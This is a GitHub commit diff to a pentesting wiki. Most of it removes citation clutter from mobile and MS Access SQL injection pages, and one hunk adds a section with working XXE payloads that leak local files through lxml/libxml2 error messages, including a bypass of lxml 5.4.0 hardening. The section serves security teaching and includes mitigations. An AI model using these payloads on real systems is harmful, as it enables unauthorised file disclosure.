You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md
+4-4Lines changed: 4 additions & 4 deletions
Original file line number
Diff line number
Diff line change
@@ -61,15 +61,15 @@ Java.perform(function () {
61
61
});
62
62
});
63
63
```
64
-
Frida will work out of the box on PAC/BTI-enabled devices (Pixel 8/Android 14+) as long as you use frida-server 16.2 or later – earlier versions failed to locate padding for inline hooks. citeturn5search2turn5search0
64
+
Frida will work out of the box on PAC/BTI-enabled devices (Pixel 8/Android 14+) as long as you use frida-server 16.2 or later – earlier versions failed to locate padding for inline hooks.
65
65
66
66
---
67
67
68
68
### Recent vulnerabilities worth hunting for in APKs
69
69
70
70
| Year | CVE | Affected library | Notes |
71
71
|------|-----|------------------|-------|
72
-
|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Heap buffer overflow reachable from native code that decodes WebP images. Several Android apps bundle vulnerable versions. When you see a `libwebp.so` inside an APK, check its version and attempt exploitation or patching.|citeturn2search0|
72
+
|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Heap buffer overflow reachable from native code that decodes WebP images. Several Android apps bundle vulnerable versions. When you see a `libwebp.so` inside an APK, check its version and attempt exploitation or patching.||
73
73
|2024|Multiple|OpenSSL 3.x series|Several memory-safety and padding-oracle issues. Many Flutter & ReactNative bundles ship their own `libcrypto.so`.|
74
74
75
75
When you spot *third-party*`.so` files inside an APK, always cross-check their hash against upstream advisories. SCA (Software Composition Analysis) is uncommon on mobile, so outdated vulnerable builds are rampant.
@@ -92,7 +92,7 @@ When you spot *third-party* `.so` files inside an APK, always cross-check their
### Automated dynamic analysis with MobSF (no jailbreak)
108
108
109
-
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) can instrument a dev-signed IPA on a real device using the same technique (`get_task_allow`) and provides a web UI with filesystem browser, traffic capture and Frida console【turn6view0†L2-L3】. The quickest way is to run MobSF in Docker and then plug your iPhone via USB:
109
+
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) can instrument a dev-signed IPA on a real device using the same technique (`get_task_allow`) and provides a web UI with filesystem browser, traffic capture and Frida console【†L2-L3】. The quickest way is to run MobSF in Docker and then plug your iPhone via USB:
Copy file name to clipboardExpand all lines: src/pentesting-web/sql-injection/ms-access-sql-injection.md
+2-2Lines changed: 2 additions & 2 deletions
Original file line number
Diff line number
Diff line change
@@ -141,7 +141,7 @@ Point the UNC path to:
141
141
* a host that drops the TCP handshake after `SYN-ACK`
142
142
* a firewall sinkhole
143
143
144
-
The extra seconds introduced by the remote lookup can be used as an **out-of-band timing oracle** for boolean conditions (e.g. pick a slow path only when the injected predicate is true). Microsoft documents the remote database behaviour and the associated registry kill-switch in KB5002984. citeturn1search0
144
+
The extra seconds introduced by the remote lookup can be used as an **out-of-band timing oracle** for boolean conditions (e.g. pick a slow path only when the injected predicate is true). Microsoft documents the remote database behaviour and the associated registry kill-switch in KB5002984.
145
145
146
146
### Other Interesting functions
147
147
@@ -229,7 +229,7 @@ Mitigations (recommended even for legacy Classic ASP apps):
229
229
* Block outbound SMB/WebDAV at the network boundary.
230
230
* Sanitize / parameterise any part of a query that may end up inside an `IN` clause.
231
231
232
-
The forced-authentication vector was revisited by Check Point Research in 2023, proving it is still exploitable on fully patched Windows Server when the registry key is absent. citeturn0search0
232
+
The forced-authentication vector was revisited by Check Point Research in 2023, proving it is still exploitable on fully patched Windows Server when the registry key is absent.
> The Python library **lxml** uses **libxml2** under the hood. Versions prior to **lxml 5.4.0 / libxml2 2.13.8** still expand *parameter* entities even when `resolve_entities=False`, making them reachable when the application enables `load_dtd=True` and/or `resolve_entities=True`. This allows Error-Based XXE payloads that embed the contents of local files into the parser error message.
785
+
786
+
#### 1. Exploiting lxml < 5.4.0
787
+
1. Identify or create a *local* DTD on disk that defines an **undefined** parameter entity (e.g. `%config_hex;`).
788
+
2. Craft an internal DTD that:
789
+
* Loads the local DTD with `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">`.
790
+
* Redefines the undefined entity so that it:
791
+
- Reads the target file (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
792
+
- Builds another parameter entity that refers to an **invalid path** containing the `%flag;` value and triggers a parser error (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
793
+
3. Finally expand `%local_dtd;` and `%eval;` so that the parser encounters `%error;`, fails to open `/aaa/<FLAG>` and leaks the flag inside the thrown exception – which is often returned to the user by the application.
794
+
795
+
```xml
796
+
<!DOCTYPEcolors [
797
+
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
798
+
<!ENTITY % config_hex'
799
+
<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">
800
+
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">
801
+
%eval;'>
802
+
%local_dtd;
803
+
]>
804
+
```
805
+
When the application prints the exception the response contains:
806
+
```
807
+
Error : failed to load external entity "file:///aaa/FLAG{secret}"
808
+
```
809
+
810
+
> [!TIP]
811
+
> If the parser complains about `%`/`&` characters inside the internal subset, double-encode them (`&#x25;` ⇒ `%`) to delay expansion.
812
+
813
+
#### 2. Bypassing the lxml 5.4.0 hardening (libxml2 still vulnerable)
814
+
`lxml` ≥ 5.4.0 forbids *error* parameter entities like the one above, but **libxml2** still allows them to be embedded in a *general* entity. The trick is to:
815
+
1. Read the file into a parameter entity `%file`.
816
+
2. Declare another parameter entity that builds a **general** entity `c` whose SYSTEM identifier uses a *non-existent protocol* such as `meow://%file;`.
817
+
3. Place `&c;` in the XML body. When the parser tries to dereference `meow://…` it fails and reflects the full URI – including the file contents – in the error message.
818
+
819
+
```xml
820
+
<!DOCTYPEcolors [
821
+
<!ENTITY % a'
822
+
<!ENTITY % file SYSTEM "file:///tmp/flag.txt">
823
+
<!ENTITY % b "<!ENTITY c SYSTEM 'meow://%file;'>">
824
+
'>
825
+
%a;%b;
826
+
]>
827
+
<colors>&c;</colors>
828
+
```
829
+
830
+
#### Key takeaways
831
+
***Parameter entities** are still expanded by libxml2 even when `resolve_entities` should block XXE.
832
+
* An **invalid URI** or **non-existent file** is enough to concatenate controlled data into the thrown exception.
833
+
* The technique works **without outbound connectivity**, making it ideal for strictly egress-filtered environments.
834
+
835
+
#### Mitigation guidance
836
+
* Upgrade to **lxml ≥ 5.4.0** and ensure the underlying **libxml2** is **≥ 2.13.8**.
0 commit comments